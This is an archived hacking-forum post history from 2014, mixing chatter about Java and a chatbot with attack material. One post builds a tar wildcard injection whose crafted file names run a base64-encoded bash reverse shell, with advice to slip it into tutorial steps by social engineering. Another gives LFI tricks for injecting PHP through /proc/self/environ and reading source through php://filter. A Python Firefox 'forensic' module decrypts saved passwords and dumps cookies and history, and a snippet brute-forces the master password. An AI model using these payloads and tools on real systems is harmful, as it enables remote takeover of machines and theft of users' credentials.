This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - like2code

Pages: [1]
1
Hacking and Security / Re: Exploiting Wildcard Expansion on Linux
« on: June 29, 2014, 11:19:21 PM »
Thanks for remembering me about this. +1
I played around a bit and another exploitation approach would be abusing tars --check-point-action flag.
This example spawns a reverse shell and requires bash on the target machine.

1. Create some file in THATDIR with interesting names.
Change the address and port of course.
Code: (bash) [Select]
mkdir THATDIR; cd THATDIR
touch foo && touch ./"--checkpoint=1" && touch ./--checkpoint-action=exec="echo `echo '(bash >& /dev/tcp/127.0.0.1/8080 0>&1) 2>/dev/null &' | base64 -w 0` | base64 -d | bash"
As our reverse shell spawner contains '/' which is the only (?) forbidden sign in file names i base64 encode it.
This leads to something like this:
Code: (bash) [Select]
user@user:~/THATDIR$ ls -l
-rw-r--r-- 1 user user 0 Jun 29 16:43 --checkpoint=1
-rw-r--r-- 1 user user 0 Jun 29 16:43 --checkpoint-action=exec=echo KGJhc2ggPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzgwODAgMD4mMSkgMj4vZGV2L251bGwgJgo= | base64 -d | bash
-rw-r--r-- 1 user user 0 Jun 29 16:43 foo

2. Now our target need to download this files and tar this directory
Possible following a tutorial (SE might be useful here).
Let the user execute something like this:
Code: (bash) [Select]
cd THATDIR; tar -cf ../SOMENAME.tar *; cd ..
3. Enjoy your shell

I think this approach might work in combination with SE and hidden in a bunch of other steps.
The file name could ofc. be obfuscated somehow.

To defend against this attack, you should ofc. read sources and don't just copy+paste code, but doing a 'tar ... ./*' instead of 'tar ... *' would work in this case too.

2
High Quality Tutorials / Re: Remote File Inclusion (RFI)
« on: June 23, 2014, 03:16:07 PM »
Since this thread is bumped anyway.
Some little tricks i learned (some time ago, i.e. they might not work anymore)

/proc/self/environ
If you only have an LFI posibility but no RFI, and are one a OS supporting the proc filesystem:
Try including /proc/self/environ. It contains (if not disabled) at least with appache, variables like User-Agent, Referer,  and so on for the current request.
Both variables are under our control, so setting the user agent to
Code: (php) [Select]
<?php 'MINI_SHELL_OR_DROPPER_CODE' ?>could be interesting.
AFAIR: setting the login shell from the appache user to /sbin/nologin leads to no used environment variables.

Wrappers + filters
If you just want to read the source code of a php page using a LFI PHPs filter might be interesting.
They can be applied to to the file name like:
Code: [Select]
php://filter/convert.base64-encode/resource=FileNameToReadi.e. if we want to read the source code of 'password.php' via an LFI in index.php the request string might be looking like this:
Code: [Select]
http://somedomain.com/index.php?page=php://filter/convert.base64-encode/resource=passwordThis would return the content as base64 encoded text.
There are other filters like rot13 also.

Edit: I just realized that ande also wrote something about LFI containing this information (with way better explanation).

3
Found it on the Webs / Re: Turing test beat? Me thinks not.
« on: June 11, 2014, 10:27:02 PM »
Both links are working for me.
Also, that bot is worse as cleverbot IMO.

4
Java / Re: Learning Java
« on: June 09, 2014, 12:40:27 PM »
@like2code: What is there not to understand?
Just wanted to bash java a little.
I wrote java for about 3 years but since i discovered python i didn't need java once.
But each to their own,  i guess.
I don't see why that post was -1 cookies worthy, but whatever

5
Reverse Engineering / Re: Cracking tutorials request
« on: June 08, 2014, 10:45:28 PM »
It is already on MIngs list, but i really liked https://tuts4you.com/download.php?list.17
It is kinda old, but good for the basics IMO.

6
Java / Re: Learning Java
« on: June 08, 2014, 10:41:16 PM »
Even if i don't understand why someone want to learn java if he is able to code in python,
you might want to check http://interactivepython.org/runestone/static/java4python/index.html.
Also for a list with free programing  books: https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md

7
With native i mean c, asm, ... and nothing interpreted.

Quote
And what the hell is this in your code?
My try on a bad joke. Its not like anybody would care for it ?!

Btw: my (bad) refrerence master password crack function makes in python about 30k tries per second.
This is bad, but not as bad as i thought.
FYI:
Code: [Select]
def testPw(profile, libnss_path):
    nss = CDLL(libnss_path)
    nss.NSS_Init(profile)
    keySlot = c_int(nss.PK11_GetInternalKeySlot())
    buff = create_string_buffer(1024)
    while True:
        d = (yield)
        buff.value = d
        if nss.PK11_CheckUserPassword( keySlot, buff) == SECSuccess:
            # yeah i abuse exceptions here
            raise StopIteration(d)
    nss.PK11_FreeSlot(keySlot)
    nss.NSS_Shutdown()

if __name__ == '__main__':
    # use it like this:
    pwtest = testPw('...../arc1x3jp.default', 'NSS LIBRARY HERE')
    pwtest.next()
    try:
        for i in words: # read from file or wahtever
            pwtest.send(i)
    except StopIteration as e:
        print 'pass found', e

8
It is on the todo list and deque provided a nice tutorial for this also: https://evilzone.org/tutorials/how-mozilla-saves-passwords/
Anyway i think cracking the pw is better done in some native language (thread and maybe gpu support)
But i'll look into that.

9
I wrote a little module to read and parse data from the firefox profile.
Supported features:
- saved passwords (decrypted if no master pw is set)
- visited pages
- download history
- form history
- cookies

It should work on most linux systems plus win.
If there is interest in mac support i might add it.
Tested FF versions are 26 and 29, but it should work for everything >= 3.5.
It is written for python 2.7. If you want python 3.x support, port it yourself.
The script is neither perfect nor done, but so far it is working for me.
Maybe someone can make use of it.
See the main part (bottom of script) for usage info.

Feedback and bug reports are welcome.

Name it fff.py or i'll be mad.
Code: [Select]
#!/usr/bin/env python
############################################################
# IT IS FORBIDDEN TO READ, MANIPULATE OR USE THIS CODE.
############################################################

# Isn't this dirty as fuck ? I am to lazy to change it, but still...
from ctypes import *
import struct
import base64
import platform
import os
import sqlite3
import json

# TODO: if python 3. use
#from configParser import ConfigParser
# else
from ConfigParser import ConfigParser

#
# Some little firefox forensic script delivering following data:
# - saved passwords (decrypted if no master pw is set)
# - visited pages
# - download history
# - form history
# - cookies
#
# TODO:
# - flash cookies and stuff
# - switch is_file with access or similar (is file accessible instead of 'isFile') or just ignore it and let sqlite raise the exception ?
# - finish comments
# - add little brute forcer for master pw
# - dump master pw ?
# - add some more compatibility stuff (mac if requested, else fuck it)
# - add easy utils function to differentiate between user typed in urls and not
# - use some user defined exceptions instead plain exception
#
# ATTENTION: On my win7 system i needed a newer sqlite version.
# see http://code.activestate.com/lists/python-tutor/96183/
# - easy (and dirty) solution: get new sqlite.dll, replace in ...python/DLLS/
#
# CREDITS:
# - Decrypt saved passwords: https://github.com/pradeep1288/ffpasscracker
# - Myself for doing a .schema on every db to get the structure *yay for me*
#


#Password structures for firefox >= 3.5 ?!
class SECItem(Structure):
    _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]
class secuPWData(Structure):
    _fields_ = [('source',c_ubyte),('data',c_char_p)]
(SECWouldBlock,SECFailure,SECSuccess)=(-2,-1,0)
(PW_NONE,PW_FROMFILE,PW_PLAINTEXT,PW_EXTERNAL)=(0,1,2,3)


class FileNotFoundException(Exception): pass

   
   
class Firefox_data_generic(object):
    """
    Some general informations:
    - Every timestamp is a unix timestamp in millisec (/1000 to use with pythons time stuff)
    -
    """

    def __init__(self, profilpath = None, compatibility_infos = None ):
        if platform.system().lower() == 'windows':
            find_profil_path =  self.__find_profile_path_windows
            load_libraries = self.__load_libraries_win
        else: # TODO. care about mac (which i don't atm)
            find_profil_path = self.__find_profile_path_linux
            load_libraries = self.__load_libraries_linux

        if profilpath is None:
            self.profilpath = find_profil_path()
        else:
            self.profilpath = profilpath
        self.default_profil = self.__get_default_profile()
       
        if compatibility_infos is None:
            self.ff_version, self.platform_dir, self.app_dir = self._get_info_from__compatibility_ini()
        else:
            self.ff_version, self.platform_dir, self.app_dir = compatibility_infos
           
        load_libraries(*self.ff_version)
           
        # set up for the specified ff version
        major, minor = self.ff_version
        # We don' care about stone age ff versions
        if self.ff_version < (3, 5):
            raise Exception('Nobody got time for implementing the features for this fucking old ff version')
        # download history moved from downloads.sqlite to places.sqlite
        if major >= 26:
            self.get_all_downloads = self.__get_all_downloads_places
            print 'get downloads from places.sqlite'
        else:
            self.get_all_downloads = self.__get_all_downloads_downloads
            print 'get downloads from downloads.sqlite'
       
       
        #print 'Profilepath is:', self.profilpath
       
    #############################################################
    # Placeholder
    #############################################################
    def get_all_downloads(self, profile = None):
        """ returns [(url, fileName, saveTo, size, endTime, done), ...]
        monkey patched to __get_all_downloads_downloads for version < 26 (TODO: ?)
        or else to __get_all_downloads_places
        """
        raise NotImplementedError('get_all_downloads not implemented')
       
       
    #############################################################
    # General working functions
    ############################################################# 
    def _get_info_from__compatibility_ini(self, profile = None):
        if profile is None:
            profile = self.default_profil
        config_file = '/'.join((profile, 'compatibility.ini'))
        if not os.path.isfile(config_file):
            raise FileNotFoundException('compatibility.ini not found at "%s"' % config_file)
        config = ConfigParser()
        config.read(config_file) # TODO: catch return (list of succesfully read configs)
        major, minor = config.get('Compatibility', 'LastVersion').split('_')[0].split('.')[:2]
        # TODO: check if value exists
        return ( (int(major), int(minor)), config.get('Compatibility', 'LastPlatformDir'), config.get('Compatibility', 'LastAppDir'))
       
    def get_all_visited(self, profile = None):
        """ Return all visited urls in the form of [(url, visit_count, last_visit_date), ...]
        Ordered by date asc.
        If no profile path is suplied use the default one.
        Should work from v. 3.0 and above (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'places.sqlite'))
        if not os.path.isfile(db_path):
            return None # TODO: raise exception
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT url, visit_count, last_visit_date FROM moz_places where visit_count > 0 order by last_visit_date asc;').fetchall()
        con.close()
        return ret
     
    def search_history(self, custom_filter, profile = None):
        for elem in self.get_all_visited(profile):
            if custom_filter(elem):
                yield elem     
               
    def is_master_password_set(self, profile = None):
        if profile is None:
            profile = self.default_profil
        self.libnss.NSS_Init(profile) # TODO: check for errors here ? Init it once for all functions ?
        keySlot = self.libnss.PK11_GetInternalKeySlot()
        ret = self.libnss.PK11_CheckUserPassword( c_int(keySlot), c_char_p('')) != SECSuccess
        self.libnss.PK11_FreeSlot(c_int(keySlot))
        self.libnss.NSS_Shutdown()
        return ret
       
    def get_saved_passes(self, profilpath = None, decrypt = True):
        """ Try to get and decrypt saved passwords.
        The result (if successfuly) is in the form:[(hostname, httpRealm, formSubmitURL, usernameField, passwordField, username, password, encType, timeCreated, timeLastUsed, timePasswordChanged, timesUsed), ...]
        username and password are decrypted if no master password is set or they are not encrypted (doh) or the decrypt flag is set to False.
        In this cases the unaltered data is returned.
        """
        # decrypting part from https://github.com/pradeep1288/ffpasscracker
        # for db schema: http://www.securityxploded.com/firepasswordviewer.php#for_firefox_3_5_and_above
        #  or just do a .schema moz_logins in the signons.sqlite
        if profilpath is None:
            profilpath = self.default_profil
       
        db_path = '/'.join((profilpath, 'signons.sqlite'))
        if not os.path.isfile(db_path):
            raise FileNotFoundException('signons.sqlite not found at "%s"' % db_path)
       
        # care about 'would_block' (-2) ?
        if self.libnss.NSS_Init(profilpath) != SECSuccess:
            # TODO: react to this
            print """Error Initalizing NSS_Init,\n
            propably no usefull results"""
            raise Exception('NSS_Init failed') # TODO: error code ?
        pwdata = secuPWData()
        pwdata.source = PW_NONE
        pwdata.data=0
        uname = SECItem()
        passwd = SECItem()
        dectext = SECItem()
        con = sqlite3.connect(db_path)
        ret = list()       
        for row in con.execute('SELECT hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, encType, timeCreated, timeLastUsed, timePasswordChanged, timesUsed from moz_logins;').fetchall():
            row = list(row)
            if row[7] == 0 or not decrypt: # not encrypted
                row[5] = base64.b64decode(row[5])
                row[6] = base64.b64decode(row[6])
                ret.append(row)
                continue
            # decrypt it                 
            uname.data  = cast(c_char_p(base64.b64decode(row[5])),c_void_p)
            uname.len = len(base64.b64decode(row[5]))
            passwd.data = cast(c_char_p(base64.b64decode(row[6])),c_void_p)
            passwd.len=len(base64.b64decode(row[6]))
            if self.libnss.PK11SDR_Decrypt(byref(uname),byref(dectext),byref(pwdata))==-1:
                raise Exception('Username decrypt exception with:' + str(row))
            row[5] = string_at(dectext.data,dectext.len)
            if self.libnss.PK11SDR_Decrypt(byref(passwd),byref(dectext),byref(pwdata))==-1:
                raise Exception('Password decrypt exception with:' + str(row))
            row[6] = string_at(dectext.data, dectext.len)
            ret.append(row)
        self.libnss.NSS_Shutdown()
        con.close()
        return ret
   
    def get_all_cookies(self, profile = None): # yummy
        """ Returns all cookies in the form of [(baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly), ...]
        Should work for versions >= 3.0 (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'cookies.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly FROM moz_cookies;').fetchall()
        con.close()
        return ret
   
    def get_all_form_history(self, profile = None, orderBy = 'firstUsed', orderASC = False):
        """ Returns all form history in the for of: [(fieldname, value, timesUsed, firstUsed, lastUsed), ...]
        Should work for versions >= 3.0 (TODO: ?)
        """
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'formhistory.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT fieldname, value, timesUsed, firstUsed, lastUsed from moz_formhistory order by %s %s;' % (orderBy, ('ASC' if orderASC else 'DESC'))).fetchall()
        con.close()
        return ret
       
    def search_form_history(self, custom_filter, profile = None, orderBy = 'firstUsed', orderASC = False):
        for elem in self.get_all_form_history(profile, orderBy, orderASC):
            if custom_filter(elem):
                yield elem
   
    #############################################################
    # Version and platform specific functions
    #############################################################
    def __find_profile_path_windows(self):
        """ Should work for win >= 2000 (TODO: ?)
        """
        # TODO: should work for Windows 2000, XP, Vista, and Windows 7, (win 8 TODO: ?)
        path = '/'.join((os.environ['APPDATA'], 'Mozilla/Firefox/Profiles'))
        if not os.path.isdir(path):
            raise FileNotFoundException('Profile folder "%s" not found.' % path)
        return path
   
    def __find_profile_path_linux(self):
        # TODO: check where the default profile path on different distros are
        path = '/'.join((os.environ['HOME'], '.mozilla/firefox'))
        if not os.path.isdir(path):
            raise FileNotFoundException('Profile folder "%s" not found.' % path)
        return path
               
    def __get_default_profile(self):
        try:
            profile = ( p for p in os.listdir(self.profilpath) if p.endswith('.default') and os.path.isdir('/'.join((self.profilpath, p)))  ).next()
            return '/'.join((self.profilpath, profile))
        except StopIteration:
            return None
   
    def __load_libraries_win(self, major, minor):
        #TODO: check relevant version changes
        os.environ['PATH'] = ';'.join([self.platform_dir, os.environ['PATH']])
        self.libnss = CDLL('/'.join((self.platform_dir, "nss3.dll")))
       
    def __load_libraries_linux(self, major, minor):
        #TODO: check relevant version changes
        #TODO: could that lib be somewhere else (not in path) ? (i.e: is this safe ?)
        self.libnss = CDLL("libnss3.so")

    def __get_all_downloads_downloads(self, profile = None):       
        #TODO: untested but should work
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'downloads.sqlite'))
        con = sqlite3.connect(db_path)
        ret = con.execute('SELECT source, name, target, maxBytes, endTime, state FROM moz_downloads;').fetchall()
        con.close()
        return ret
   
    def __get_all_downloads_places(self, profile = None):
        if profile is None:
            profile = self.default_profil
        db_path = '/'.join((profile, 'places.sqlite'))
        con = sqlite3.connect(db_path)
        ret = list()
        for download in con.execute("""SELECT url, a.content, b.content, c.content from moz_annos a, moz_annos b, moz_annos c, moz_places p
            where a.place_id = b.place_id and b.place_id = c.place_id and p.id = a.place_id
            and a.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/destinationFileName')
            and b.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/destinationFileURI')
            and c.anno_attribute_id = (select id from moz_anno_attributes where name = 'downloads/metaData');
        """).fetchall():
            values = json.loads(download[3])
            ret.append( (download[0], download[1], download[2], values['fileSize'], values['endTime'], values['state']) )
        con.close()       
        return ret
               

               
       
       
   

if __name__ == '__main__':
    ff = Firefox_data_generic()
    print 'version and paths:'
    print ff._get_info_from__compatibility_ini()
   
    print 'Master password is set:', ff.is_master_password_set()
   
    print 'passwords:'
    print ff.get_saved_passes()
   
    print 'cookies:'
    print ff.get_all_cookies()

    #print 'form history:'   
    #print ff.get_all_form_history(orderBy='name', True)
    print 'form history from search bar:'
    print list(ff.search_form_history(lambda x: 'searchbar' in x[0]))
   
    #print 'visited sites:'   
    #print ff.get_all_visited()
    print 'visited sites with login in url:'
    print list(ff.search_history(lambda x: 'login' in x[0]))
   
    print 'downloads:'
    print ff.get_all_downloads()

10
Projects and Discussion / Re: downloads.sqlite in firefox gone ?
« on: June 05, 2014, 02:37:46 PM »
Thanks for the response.
I already read that page, and know where to find the profile (everything is working already with the places.sqlite).
My problem is: there is no downloads.sqlite in my profile folder on my win system (ff 29).

Update: I think i found the changes.
http://www.forensicswiki.org/wiki/Mozilla_Firefox:
Quote
Note it looks that Firefox 21 (or earlier?) stores the downloads as part of the bookmarks in moz_bookmarks and moz_annos in places.sqlite
See first post in this thread for solution for ff >= 21

11
First of all: Sorry if this is the wrong section. Also hi.

I am currently writing some forensic(saved passes, history, downloads, ...) script for firefox (so far), and can't find the downloads.sqlite on my win7 machine with ff 29.
It exists on an debian install with an older ff version.
The list with the downloads via the ff GUI is working, so these data need to be somewhere.
So, does anyone know if the data is now in another file, or do i need to dig through the ff code ?

EDIT: Firefox from version 21 upwards (?) saves this data in the places.sqlite now. This is one way how to get that info:
Code: [Select]
SELECT a.content, b.content, c.content from moz_annos a, moz_annos b, moz_annos c
where a.place_id = b.place_id and b.place_id = c.place_id
and a.anno_attribute_id = 17
and b.anno_attribute_id = 18
and c.anno_attribute_id = 19;

*BTW: if there is interest i'll post the script here, when it is done.*

Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.